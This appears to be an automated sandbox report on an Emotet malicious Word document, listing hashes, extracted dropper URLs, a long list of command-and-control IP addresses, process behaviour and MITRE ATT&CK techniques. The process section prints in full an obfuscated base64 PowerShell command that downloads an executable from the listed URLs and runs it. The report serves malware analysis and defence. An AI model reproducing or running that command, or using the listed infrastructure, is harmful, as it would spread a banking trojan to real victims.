emotet | 59c83ecca1095f3f5a073bdc09552cb7ed9b230dfdc93dee59f18e2a38e849ea

General

Target
emotet_e3_59c83ecca1095f3f5a073bdc09552cb7ed9b230dfdc93dee59f18e2a38e849ea_2020-08-13__134433._doc.doc
Size 231KB
Sample200813-cjx2r4b7we
SHA256 59c83ecca1095f3f5a073bdc09552cb7ed9b230dfdc93dee59f18e2a38e849ea
MD5 7898406edb20df80c0d56275c6b6b559
SHA1 e3bb48e15b92dc4ddc0e44e4c151fc56a5658f54
SHA512 c0e7fffbc6ce5f8588b50632c8892416f51c60b471e7abacd044e71d55b5d37150134f82db633b7442063a2fd831c14e93805c6383d9750c93e729320b0c558d
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://gregemmerth.com/stats/rBZp0wy31512967/
exe.dropper
http://paralink.com.br/faatads/19zPjcmw7r318182393/
exe.dropper
http://riandutra.com/img/yiZS/
exe.dropper
https://mrveggy.com/erros/Busgh63a1960/
exe.dropper
http://mycyberhealth.online/yyczief/wlW/

Extracted

Family

emotet

C2

176.216.226.44:80
159.203.232.29:8080
185.86.148.68:443
87.106.231.60:8080
113.161.148.81:80
78.189.60.109:443
192.163.221.191:8080
31.146.61.34:80
37.70.131.107:80
153.220.182.49:80
177.144.130.105:443
181.167.35.84:80
202.5.47.71:80
192.241.220.183:8080
78.188.170.128:80
182.176.95.147:80
87.252.100.28:80
115.78.11.155:80
212.156.133.218:80
203.153.216.178:7080
77.74.78.80:443
216.75.37.196:8080
195.201.56.70:8080
115.165.3.213:80
217.199.160.224:8080
105.213.67.88:80
190.55.233.156:80
91.83.93.103:443
181.164.110.7:80
51.38.201.19:7080
50.116.78.109:8080
178.33.167.120:8080
176.9.93.82:7080
192.210.217.94:8080
113.160.180.109:80
75.139.38.211:80
157.7.164.178:8081
190.164.75.175:80
182.187.139.200:8080
172.96.190.154:8080
37.46.129.215:8080
201.235.10.215:80
188.166.25.84:8080
181.113.229.139:443
139.99.157.213:8080
5.79.70.250:8080
190.190.15.20:80
212.112.113.235:80
143.95.101.72:8080
81.17.93.134:80
172.105.78.244:8080
46.105.131.68:8080
105.209.235.113:8080
92.24.51.238:80
163.172.107.70:8080
187.64.128.197:80
188.251.213.180:443
81.214.253.80:443
181.134.9.162:80
185.208.226.142:8080
46.32.229.152:8080
188.0.135.237:80
41.185.29.128:8080
179.5.118.12:80
177.37.81.212:443
107.161.30.122:8080
198.57.203.63:8080
114.173.201.110:80
97.104.107.190:80
139.59.12.63:8080
185.142.236.163:443
203.153.216.182:7080
75.127.14.170:8080
74.208.173.91:8080
115.79.195.246:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1808	500	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2764-16-0x00000000022C0000-0x00000000022CC000-memory.dmp	emotet
behavioral2/memory/2764-16-0x00000000022C0000-0x00000000022CC000-memory.dmp	emotet
behavioral2/memory/3804-19-0x0000000002290000-0x000000000229C000-memory.dmp	emotet
behavioral2/memory/3804-19-0x0000000002290000-0x000000000229C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
23	1808	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2764	Wmzy.exe
3804	FlashPlayerApp.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Windows.Media.Editing\FlashPlayerApp.exe	Wmzy.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3816	WINWORD.EXE
3816	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1808	powersheLL.exe
1808	powersheLL.exe
1808	powersheLL.exe
3804	FlashPlayerApp.exe
3804	FlashPlayerApp.exe
3804	FlashPlayerApp.exe
3804	FlashPlayerApp.exe
3804	FlashPlayerApp.exe
3804	FlashPlayerApp.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1808	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
2764	Wmzy.exe
2764	Wmzy.exe
3804	FlashPlayerApp.exe
3804	FlashPlayerApp.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1808 wrote to memory of 2764	1808	powersheLL.exe	77
PID 1808 wrote to memory of 2764	1808	powersheLL.exe	77
PID 1808 wrote to memory of 2764	1808	powersheLL.exe	77
PID 2764 wrote to memory of 3804	2764	Wmzy.exe	78
PID 2764 wrote to memory of 3804	2764	Wmzy.exe	78
PID 2764 wrote to memory of 3804	2764	Wmzy.exe	78

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_59c83ecca1095f3f5a073bdc09552cb7ed9b230dfdc93dee59f18e2a38e849ea_2020-08-13__134433._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3816

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABBAE4AVwBUAFMAZQB2AGoAPQAnAEsASgBCAFkATwBvAGoAaQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYwB1AHIAaQB0AGAAeQBwAGAAUgBgAE8AdABvAEMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAWABTAEIATABYAGUAdwBjACAAPQAgACcAVwBtAHoAeQAnADsAJABQAFoASgBRAFMAawBmAHEAPQAnAEkARgBOAFQAVwB1AGgAdAAnADsAJABBAEwAWgBLAEgAbABvAGkAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABYAFMAQgBMAFgAZQB3AGMAKwAnAC4AZQB4AGUAJwA7ACQAUABYAE8ARQBaAHkAegBkAD0AJwBDAFAASQBKAEQAegBjAHkAJwA7ACQATwBKAEoASgBZAGEAaQBoAD0ALgAoACcAbgBlAHcALQBvAGIAagBlACcAKwAnAGMAJwArACcAdAAnACkAIABOAEUAVAAuAHcAZQBiAEMAbABpAGUATgBUADsAJABLAEcASwBFAEgAagBvAGwAPQAnAGgAdAB0AHAAOgAvAC8AZwByAGUAZwBlAG0AbQBlAHIAdABoAC4AYwBvAG0ALwBzAHQAYQB0AHMALwByAEIAWgBwADAAdwB5ADMAMQA1ADEAMgA5ADYANwAvACoAaAB0AHQAcAA6AC8ALwBwAGEAcgBhAGwAaQBuAGsALgBjAG8AbQAuAGIAcgAvAGYAYQBhAHQAYQBkAHMALwAxADkAegBQAGoAYwBtAHcANwByADMAMQA4ADEAOAAyADMAOQAzAC8AKgBoAHQAdABwADoALwAvAHIAaQBhAG4AZAB1AHQAcgBhAC4AYwBvAG0ALwBpAG0AZwAvAHkAaQBaAFMALwAqAGgAdAB0AHAAcwA6AC8ALwBtAHIAdgBlAGcAZwB5AC4AYwBvAG0ALwBlAHIAcgBvAHMALwBCAHUAcwBnAGgANgAzAGEAMQA5ADYAMAAvACoAaAB0AHQAcAA6AC8ALwBtAHkAYwB5AGIAZQByAGgAZQBhAGwAdABoAC4AbwBuAGwAaQBuAGUALwB5AHkAYwB6AGkAZQBmAC8AdwBsAFcALwAnAC4AIgBTAGAAUABsAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEoAQgBMAEsARQBoAGoAYQA9ACcASwBWAFIATwBBAGQAcwBrACcAOwBmAG8AcgBlAGEAYwBoACgAJABRAE8ARwBGAEkAbAB1AGoAIABpAG4AIAAkAEsARwBLAEUASABqAG8AbAApAHsAdAByAHkAewAkAE8ASgBKAEoAWQBhAGkAaAAuACIAZABvAGAAVwBuAGAATABvAGEARABmAGkAYABMAGUAIgAoACQAUQBPAEcARgBJAGwAdQBqACwAIAAkAEEATABaAEsASABsAG8AaQApADsAJABLAEsAQQBMAFIAbwB4AGMAPQAnAFMAWQBDAE4AUgB5AHgAeQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEEATABaAEsASABsAG8AaQApAC4AIgBMAEUAYABOAEcAYABUAGgAIgAgAC0AZwBlACAAMwAzADMANAAxACkAIAB7ACYAKAAnAEkAbgB2AG8AawBlAC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAKAAkAEEATABaAEsASABsAG8AaQApADsAJABFAFQASABWAFkAYwBvAGkAPQAnAE4ATwBGAFIAUwB5AHMAbgAnADsAYgByAGUAYQBrADsAJABZAEoAWABOAEIAZgBxAGMAPQAnAFgARQBUAFEAQwBsAGoAZwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABEAFAAQwBJAEQAZwBiAHAAPQAnAE0ARwBKAFAAWgBsAGEAegAnAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1808
- C:\Users\Admin\AppData\Local\Temp\Wmzy.exe
  "C:\Users\Admin\AppData\Local\Temp\Wmzy.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2764
- - C:\Windows\SysWOW64\Windows.Media.Editing\FlashPlayerApp.exe
    "C:\Windows\SysWOW64\Windows.Media.Editing\FlashPlayerApp.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3804

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1808-10-0x00007FF8BB760000-0x00007FF8BC14C000-memory.dmp

Download

memory/1808-11-0x00000196181E0000-0x00000196181E1000-memory.dmp

Download

memory/1808-12-0x0000019618390000-0x0000019618391000-memory.dmp

Download

memory/2764-16-0x00000000022C0000-0x00000000022CC000-memory.dmp

Download

memory/3804-19-0x0000000002290000-0x000000000229C000-memory.dmp

Download

memory/3816-0-0x00007FF8C91B0000-0x00007FF8C9876000-memory.dmp

Download

memory/3816-6-0x000002AC62137000-0x000002AC6213F000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads